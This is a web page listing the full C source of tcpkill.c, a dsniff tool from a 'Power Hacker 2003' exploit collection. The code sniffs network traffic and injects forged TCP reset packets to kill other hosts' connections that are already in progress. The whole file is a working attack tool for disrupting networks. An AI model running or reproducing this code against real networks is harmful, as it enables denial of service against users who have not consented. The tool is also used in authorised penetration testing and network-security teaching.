home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / dsniff / tcpkill.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-01-24  |  6.0 KB  |  249 lines

  1. /*
  2.   tcpkill.c
  3.  
  4.   Kill TCP connections already in progress.
  5.  
  6.   Copyright (c) 2000 Dug Song <dugsong@monkey.org>
  7.   All rights reserved, all wrongs reversed.
  8.  
  9.   Redistribution and use in source and binary forms, with or without
  10.   modification, are permitted provided that the following conditions
  11.   are met:
  12.  
  13.   1. Redistributions of source code must retain the above copyright
  14.      notice, this list of conditions and the following disclaimer.
  15.   2. Redistributions in binary form must reproduce the above copyright
  16.      notice, this list of conditions and the following disclaimer in the
  17.      documentation and/or other materials provided with the distribution.
  18.   3. The name of author may not be used to endorse or promote products
  19.      derived from this software without specific prior written permission.
  20.  
  21.   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  22.   INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
  23.   AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
  24.   THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  25.   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
  26.   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  27.   OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  28.   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  29.   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  30.   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  31.   
  32.   $Id: tcpkill.c,v 1.5 2000/01/24 17:59:09 dugsong Exp $
  33. */
  34.  
  35. #include <sys/types.h>
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <unistd.h>
  39. #include <string.h>
  40. #include <libnet.h>
  41. #include <pcap.h>
  42.  
  43. #include "version.h"
  44.  
  45. /* XXX - brute force seqnum space. ugh. */
  46. #define DEFAULT_SEVERITY    3
  47.  
  48. /* Globals. */
  49. int Opt_severity = DEFAULT_SEVERITY;
  50. int Opt_verbose = 0;
  51. int pcap_dl_offset;
  52.  
  53. void
  54. usage(void)
  55. {
  56.   fprintf(stderr, "Usage: tcpkill [-v] [-i interface] [-1..9] [expression]\n");
  57.   exit(1);
  58. }
  59.  
  60. /* Start sniffing on an interface. */
  61. pcap_t *
  62. pcap_init(char *intf, char *filter, int snaplen)
  63. {
  64.   pcap_t *pd;
  65.   u_int net, mask;
  66.   struct bpf_program fcode;
  67.   char ebuf[PCAP_ERRBUF_SIZE];
  68.  
  69.   if ((pd = pcap_open_live(intf, snaplen, 1, 1024, ebuf)) == NULL) {
  70.     fprintf(stderr, "%s\n", ebuf);
  71.     return (NULL);
  72.   }
  73.   if (pcap_lookupnet(intf, &net, &mask, ebuf) == -1) {
  74.     fprintf(stderr, "%s\n", ebuf);
  75.     return (NULL);
  76.   }  
  77.   if (pcap_compile(pd, &fcode, filter, 1, mask) < 0) {
  78.     pcap_perror(pd, "pcap_compile");
  79.     return (NULL);
  80.   }
  81.   if (pcap_setfilter(pd, &fcode) == -1) {
  82.     pcap_perror(pd, "pcap_compile");
  83.     return (NULL);
  84.   }
  85.   switch (pcap_datalink(pd)) {
  86.   case DLT_EN10MB:
  87.     pcap_dl_offset = 14;
  88.     break;
  89.   case DLT_IEEE802:
  90.     pcap_dl_offset = 22;
  91.     break;
  92.   case DLT_FDDI:
  93.     pcap_dl_offset = 21;
  94.     break;
  95. #ifdef DLT_LOOP
  96.   case DLT_LOOP:
  97. #endif
  98.   case DLT_NULL:
  99.     pcap_dl_offset = 4;
  100.     break;
  101.   default:
  102.     fprintf(stderr, "unsupported datalink type\n");
  103.     return (NULL);
  104.   }
  105.   return (pd);
  106. }
  107.  
  108. /* from tcpdump util.c. */
  109. char *
  110. copy_argv(register char **argv)
  111. {
  112.   char **p, *buf, *src, *dst;
  113.   u_int len = 0;
  114.   
  115.   p = argv;
  116.   if (*p == 0)
  117.     return 0;
  118.   
  119.   while (*p)
  120.     len += strlen(*p++) + 1;
  121.   
  122.   if ((buf = (char *)malloc(len)) == NULL) {
  123.     perror("malloc");
  124.     exit(1);
  125.   }
  126.   p = argv;
  127.   dst = buf;
  128.   while ((src = *p++) != NULL) {
  129.     while ((*dst++ = *src++) != '\0')
  130.       ;
  131.     dst[-1] = ' ';
  132.   }
  133.   dst[-1] = '\0';
  134.   
  135.   return buf;
  136. }
  137.  
  138. /*
  139.   XXX - we ought to determine the rate of seqnum consumption and
  140.   predict the correct seqnum to use, instead of brute force. i suk.
  141. */
  142. void
  143. tcp_rst_loop(pcap_t *pd, int sock)
  144. {
  145.   struct pcap_pkthdr pkthdr;
  146.   struct ip *ip;
  147.   struct tcphdr *tcp;
  148.   u_char *pkt, buf[IP_H + TCP_H];
  149.   u_long ack;
  150.   u_short win;
  151.   int i;
  152.  
  153.   libnet_seed_prand();
  154.  
  155.   for (;;) {
  156.     if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) {
  157.       ip = (struct ip *)(pkt + pcap_dl_offset);
  158.       if (ip->ip_p != IPPROTO_TCP) continue;
  159.       
  160.       tcp = (struct tcphdr *)((u_char *)ip + (ip->ip_hl * 4));
  161.       if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST)) continue;
  162.       
  163.       ack = ntohl(tcp->th_ack);
  164.       win = ntohs(tcp->th_win);
  165.       
  166.       libnet_build_ip(TCP_H, 0, 0, 0, 64, IPPROTO_TCP, ip->ip_dst.s_addr,
  167.               ip->ip_src.s_addr, NULL, 0, buf);
  168.       libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport), 0, 0,
  169.                TH_RST, 0, 0, NULL, 0, buf + IP_H);
  170.       
  171.       ip = (struct ip *)buf;
  172.       tcp = (struct tcphdr *)(ip + 1);
  173.       
  174.       for (i = 0; i < Opt_severity; i++) {
  175.     ip->ip_id = libnet_get_prand(PRu16);
  176.     tcp->th_seq = htonl(ack + (i * win));
  177.     
  178.     libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
  179.     libnet_write_ip(sock, buf, sizeof(buf));
  180.       }
  181.       if (Opt_verbose)
  182.     fprintf(stderr, "rst %s:%d > %s:%d\n",
  183.         libnet_host_lookup(ip->ip_src.s_addr, 0), ntohs(tcp->th_sport),
  184.         libnet_host_lookup(ip->ip_dst.s_addr, 0), ntohs(tcp->th_dport));
  185.     }
  186.   }
  187. }
  188.  
  189. int
  190. main(int argc, char *argv[])
  191. {
  192.   int c, sock;
  193.   char *p, *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
  194.   pcap_t *pd;
  195.  
  196.   intf = NULL;
  197.  
  198.   while ((c = getopt(argc, argv, "i:123456789vh?V")) != -1) {
  199.     switch (c) {
  200.     case 'i':
  201.       intf = optarg;
  202.       break;
  203.     case '0': case '1': case '2': case '3': case '4':
  204.     case '5': case '6': case '7': case '8': case '9':
  205.       p = argv[optind - 1];
  206.       if (p[0] == '-' && p[1] == c && p[2] == '\0')
  207.     Opt_severity = atoi(++p);
  208.       else
  209.     Opt_severity = atoi(argv[optind] + 1);
  210.       break;
  211.     case 'v':
  212.       Opt_verbose = 1;
  213.       break;
  214.     case 'V':
  215.       fprintf(stderr, "Version: %s\n", VERSION);
  216.       usage();
  217.       break;
  218.     default:
  219.       usage();
  220.       break;
  221.     }
  222.   }
  223.   if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) {
  224.     fprintf(stderr, "%s\n", ebuf);
  225.     exit(1);
  226.   }
  227.   argc -= optind;
  228.   argv += optind;
  229.  
  230.   if (argc == 0) filter = "tcp[13] & 16 != 0";
  231.   else filter = copy_argv(argv);
  232.   
  233.   if ((pd = pcap_init(intf, filter, 128)) == NULL)
  234.     exit(1);
  235.   
  236.   if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1) {
  237.     perror("socket");
  238.     exit(1);
  239.   }
  240.   
  241.   tcp_rst_loop(pd, sock);
  242.   
  243.   /* NOTREACHED */
  244.   
  245.   exit(0);
  246. }
  247.  
  248. /* 5000. */
  249.